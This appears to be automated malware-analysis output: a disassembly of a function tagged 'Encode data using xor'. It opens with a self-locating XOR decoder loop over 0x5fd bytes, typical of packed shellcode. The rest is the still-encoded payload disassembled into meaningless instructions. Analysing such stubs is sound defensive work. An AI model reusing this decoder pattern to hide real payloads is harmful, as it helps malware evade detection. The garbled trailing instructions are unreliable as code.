Function at 0x7b6e4c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7b6e56
pushal
call 0x7b6e5c
pop ebp
sub ebp, 0x10
sub ebp, 0x3b6e4c
jmp 0x7b6e72
mov eax, 0x3b6e4c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5fd
mov edx, 0x153ec071
xor byte [eax], dl
inc eax
dec ecx
jne 0x7b6e89
jmp 0x7b6e9c
cli
mov esp, 0x714df8fa
jno 0x7b6f15
invalid
jno 0x7b6f88
sbb dword [ebp + 0x19717f0a], edx
adc al, 0x83
pop ebp
jno 0x7b6f92
pop ebp
push ebp
cld
adc eax, 0x7df88d55
push ebp
cdq
je 0x7b6f9f
invalid
jno 0x7b6fa1
cwde
dec eax
jae 0x7b6fa5
jno 0x7b6f5a
cli
popfd
mov es, word [edi*2 - 0x6686fb72]
add al, 0x7d
mov es, word [ecx + edi*2]
cdq
sbb eax, 0xfa717171
int3
jno 0x7b6fcd
jno 0x7b6f75
cli
insd dword es:[edi], dx
dec eax
int1
mov bl, byte [ecx + 0x716bf57e]
jno 0x7b6fdb
int1
mov bl, byte [eax + 0x7160f57e]
jno 0x7b6fe4
pushal
jno 0x7b6fe3
jno 0x7b6f8b
pop ss
invalid
mov cl, byte [esi + 0x64f57e54]
jno 0x7b6fee
jle 0x7b6f6f
jno 0x7b6fee
jno 0x7b6faf
xor byte [eax - 0x71717143], bl
pop eax
cwde
mov ebp, 0x588e8e8e
cmp eax, 0xb0f27048
mov al, 0x74
je 0x7b6f7e
cdq
cdq
jne 0x7b6f27
int3
mov cs, word [esi + 0x4825588e]
mov ds, word [eax + 0x25]
dec eax
jae 0x7b6f8a
mov al, 0x77
wait
ja 0x7b6f8d
wait
jne 0x7b6f90
cdq
je 0x7b6f39
fimul dword [esi + 0x5dfa8e8e]
cli
pop ebp
push ebp
cld
adc eax, 0x7db37555
jno 0x7b6fd4
and al, 0xfa
cli
popfd
daa
and al, 0xfa
add al, 0x7d
cli
or al, 0x79
invalid
jno 0x7b703e
jno 0x7b6f99
jae 0x7b7042
jno 0x7b7044
jae 0x7b6f78
mov dword [0x7174f47e], eax
jle 0x7b6fcb
je 0x7b704a
jno 0x7b704c
sti
aaa
arpl word [ebx - 0x71560d82], sp
mov cs, word [esi + 0x7ea3738e]
hlt
mov cs, word [esi - 0xb815c8d]
je 0x7b705d
jno 0x7b705f
sti
aaa
arpl word [ebx + 0x711bf27e], sp
jno 0x7b706a
inc edx
mov cl, 0x73
mov dword [0x7174f47e], eax
jno 0x7b7074
sti
aaa
arpl word [ebx + 0x705bf27e], sp
jno 0x7b707f
jno 0x7b7082
jae 0x7b6fb3
mov dword [0x7174f47e], eax
jle 0x7b7006
je 0x7b7085
jno 0x7b7087
jno 0x7b7012
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x7b7015
je 0x7b7094
jno 0x7b7096
jno 0x7b7021
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x7b7024
je 0x7b70a3
jno 0x7b70a5
jno 0x7b7030
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
jle 0x7b7033
hlt
je 0x7b70b2
jno 0x7b70b4
jno 0x7b703f
sti
aaa
arpl word [ebx - 0xa814e9e], sp
jle 0x7b7041
ja 0x7b70bf
jno 0x7b70c1
cli
scasb al, byte es:[edi]
pop edx
test eax, 0x76f972fb
retf 0x7173
jbe 0x7b708f
retf 0x7173
jno 0x7b6ff7
add dword [esi + 0x70c98e8e], ecx
jno 0x7b70d8
mov cs, word [esi + 0x7170c98e]
jno 0x7b70d9
jno 0x7b70dc
jae 0x7b700d
mov dword [0x7174f47e], eax
jle 0x7b7060
je 0x7b70df
jno 0x7b70e1
jno 0x7b706c
sti
aaa
arpl word [ebx - 0x5c8c4e9e], sp
mov dword [0xa373b162], eax
jle 0x7b706f
je 0x7b70ee
jno 0x7b70f0
jno 0x7b707b
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x70cab25a]
jno 0x7b7101
repe scasd eax, dword es:[edi]
mov cs, word [esi - 0x354da572]
jo 0x7b7100
jno 0x7b7102
jno 0x7b7110
jle 0x7b7087
hlt
inc ebp
jno 0x7b7107
jno 0x7b7060
jo 0x7b710b
jno 0x7b710d
jae 0x7b7041
jle 0x7b7094
je 0x7b7113
jno 0x7b7115
jno 0x7b70a0
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x7b70a3
je 0x7b7122
jno 0x7b7124
jno 0x7b70af
sti
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0x5a86fa27]
cli
xchg byte [edx - 0x7c], bl
adc ch, 0x2f
cwde
jns 0x7b7057
pop edx
test byte [edx + 0x79982fd5], al
mov cs, word [esi - 0x6e4fc672]
jns 0x7b70cb
mov cs, word [esi + 0x7991b039]
sti
cmp dword [eax + 0x77fb7991], esi
ja 0x7b7109
aaa
cli
cdq
enter 0x7170, 0x71
jno 0x7b714d
jae 0x7b707e
mov dword [0x7174f47e], eax
jle 0x7b70d1
hlt
je 0x7b7150
jno 0x7b7152
jno 0x7b70dd
sti
aaa
arpl word [ebx - 0x5c8c479e], sp
jle 0x7b70e0
je 0x7b715f
jno 0x7b7161
sti
aaa
aaa
arpl word [ebx - 0x71500c82], sp
mov cs, word [esi + 0xc7189f0]
jno 0x7b7172
or al, 0x71
jno 0x7b70f2
invalid
test al, 0x8e
mov cs, word [esi + 0x7189f08e]
invalid
jno 0x7b717f
je 0x7b717d
jno 0x7b717e
jno 0x7b70fe
invalid
test al, 0x8e
mov cs, word [esi - 0xe760f72]
invalid
int1
jno 0x7b7189
jno 0x7b710a
mov al, byte [0x71717171]
invalid
jno 0x7b7195
jno 0x7b7116
mov al, byte [0x71717171]
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
cwde
ljmp 0x3777
cdq
daa
cli
xchg byte [edx - 0x7f], bl
adc ch, 0x2f
retf 0x7170
add dword [edx + 0x70ca2fd5], 0x98717171
cwde
add cl, byte [edi + 0x5a2c8e8e]
mov gs, word [edx + ebx*2]
pop edx
or al, 0x79
cli
jns 0x7b715f
mov dh, 0x2e
das
cli
xchg esp, eax
sub al, 0xb3
jns 0x7b71df
cli
dec ebp
push ebp
cld
adc eax, 0x45fa7555
push ebp
cld
adc eax, 0x75987555
jne 0x7b71f0
jno 0x7b71f1
jno 0x7b71f2
jno 0x7b7183
add dword [edi], edx
pop ss
aaa
arpl cx, cx
cmp eax, 0x72714a1f
jno 0x7b71fd
mov ah, 0xf0
mov cl, 0x2e
jb 0x7b7202
jno 0x7b715b
wait
jae 0x7b7207
jno 0x7b7208
jno 0x7b7163
retf
jg 0x7b71f6
push cs
mov esi, 0x38316141
jle 0x7b7196
xchg dword [esi + 0x75988e8e], ecx
jno 0x7b721b
jno 0x7b71f6
cmp eax, ebp
sbb al, 0xf8
xor esp, 0xc3f44301
dec eax
fistp qword [edi + 0x7f]
jg 0x7b7238
xor edx, 0x39f47f21
inc ebx
hlt
jg 0x7b725a
jg 0x7b724d
sti
cmp dword [edi + 0x7f], edi
jg 0x7b7260
jg 0x7b725f
test eax, 0x7f77b8fe
jg 0x7b7269
invalid
inc byte [esi + 0x7f7f7f7f]
xchg byte [edi + 0x7f], bh
jg 0x7b7273
jg 0x7b7274
jg 0x7b7275
jg 0x7b7267
jo 0x7b71f3
sti
scasd eax, dword es:[edi]
add byte [eax + 0x78f41980], 0xbe
xchg edi, eax
jae 0x7b71ff
hlt
mov esi, 0x9ffc7397
cld
lahf
jo 0x7b7204
xchg dword [edi + edi*2 + 0x7f], edi
jl 0x7b7288
jg 0x7b7289
jg 0x7b728a
jg 0x7b727c
jo 0x7b7207
cli
jb 0x7b728e
jg 0x7b7290
sbb esp, esi
js 0x7b7213
lahf
xor byte [eax + 0x7f], 0x7f
jl 0x7b71d9
mov ebp, 0x3636677e
cld
jle 0x7b7285
cld
mov eax, 0x80b7967d
add byte [eax + 0x7f7f7b96], 0x7f
inc esi
popal
test bh, ch
invalid
invalid
dec edi
outsd dx, dword [esi]
aas
jo 0x7b7248
cli
mov dword [eax + 0x7b968080], eax
jg 0x7b72d5
jg 0x7b724a
scasd eax, dword es:[edi]
popfd
ret 0x2757
in al, dx
push edi
daa
pop ebx
insb byte es:[edi], dx
out 0x50, eax
rcl al, 1
rcl bl, 1
push ebx
rcl al, 1
shr dword [esi], cl
push ebx
scasd eax, dword es:[edi]
invalid
rcl al, 1
rcr byte [ebx - 0x69], 1
pop ebx
xchg edi, eax
invalid
hlt
cld
rcl byte [ecx + 0x28]
sub al, dl
rcl al, 1
rcl al, 1
fist word [ebp - 0x3c]
rcl al, 1
rcr bh, 1
push ebp
invalid
rcl al, 1
rol byte [edi + 0x5b], 1
test al, 0xdc
inc edi
rcl dword [esi], cl
pop ebp
mov ah, 0xf4
sub al, 0x59
aam 0xf4
das
inc ebp
xor byte [eax], ah
cld
rcl byte [ebx - 0x51]
invalid
lodsd eax, dword [esi]
rcl al, 1
fist word [ecx + ebx*4 - 0x30]
rcl al, 1
push edi
cmp dword [ebx - 0x47], ebx
rcl byte [edi + 0x39]
add byte [edx + 0x59df19db], 0xd6
rcl al, 1
rol byte [ecx - 0x2f2f20c7], 1
rcl bl, 1
push ds
push ecx
adc edx, edx
rcl al, 1
rcr byte [ebp - 0x4c], 1
hlt